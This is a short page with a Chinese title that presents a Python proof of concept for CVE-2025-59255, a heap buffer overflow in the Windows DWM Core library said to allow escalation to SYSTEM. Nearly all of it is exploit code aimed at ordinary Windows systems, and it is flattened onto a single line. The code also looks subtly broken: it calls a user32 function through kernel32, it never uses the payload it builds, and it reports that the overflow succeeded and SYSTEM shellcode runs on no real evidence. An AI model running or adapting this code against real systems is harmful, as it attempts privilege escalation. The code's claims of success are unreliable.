CVE-2025-59255 Windows DWM Core库堆缓冲区溢出本地提权漏洞

# CVE-2025-59255 - Windows DWM Core Library Heap-based Buffer Overflow PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation approach for the # heap-based buffer overflow vulnerability in Windows DWM Core Library. # The vulnerability allows local privilege escalation to SYSTEM level. import ctypes import struct import sys from ctypes import wintypes # Load necessary Windows DLLs dwmapi = ctypes.windll.dwmapi kernel32 = ctypes.windll.kernel32 # DWM API constants DWMWA_NCRENDERING_ENABLED = 1 DWMWA_CAPTION_BUTTON_BOUNDS = 5 def trigger_dwm_overflow(hwnd): """ Trigger the heap-based buffer overflow in DWM Core Library by sending malformed data through DWM API calls. """ # Craft oversized buffer to overflow DWM internal heap allocation overflow_size = 0x10000 # 64KB - exceeds normal DWM buffer size payload = b"\x41" * overflow_size # Fill with controlled data # Attempt to trigger vulnerability via DWM API # The specific API call and parameters would need to match the # vulnerable code path in dwmcore.dll try: # This is a conceptual call - actual exploitation requires # reverse engineering of the specific vulnerable function result = dwmapi.DwmSetWindowAttribute( hwnd, DWMWA_CAPTION_BUTTON_BOUNDS, ctypes.byref(ctypes.c_long(0)), overflow_size # Oversized size parameter triggers overflow ) return result except Exception as e: print(f"[-] Exploitation failed: {e} ") return -1 def main(): print("[*] CVE-2025-59255 - DWM Core Library Heap Overflow PoC") print("[*] Target: Windows DWM Core Library") print("[*] Goal: Local Privilege Escalation to SYSTEM ") # Get desktop window handle hwnd = kernel32.GetDesktopWindow() if not hwnd: print("[-] Failed to get desktop window handle") sys.exit(1) print(f"[*] Desktop HWND: {hex(hwnd)}") print("[*] Attempting to trigger heap buffer overflow...") result = trigger_dwm_overflow(hwnd) if result == 0: print("[+] Overflow triggered successfully") print("[+] Shellcode execution would now occur with SYSTEM privileges") else: print("[-] Could not trigger overflow - system may be patched") if __name__ == "__main__": main() # Note: This is a conceptual demonstration. Actual exploitation requires: # 1. Detailed reverse engineering of dwmcore.dll vulnerable function # 2. Heap spray/grooming for reliable exploitation # 3. Bypass of modern mitigations (DEP, ASLR, CFG, etc.) # 4. Token stealing shellcode for privilege escalation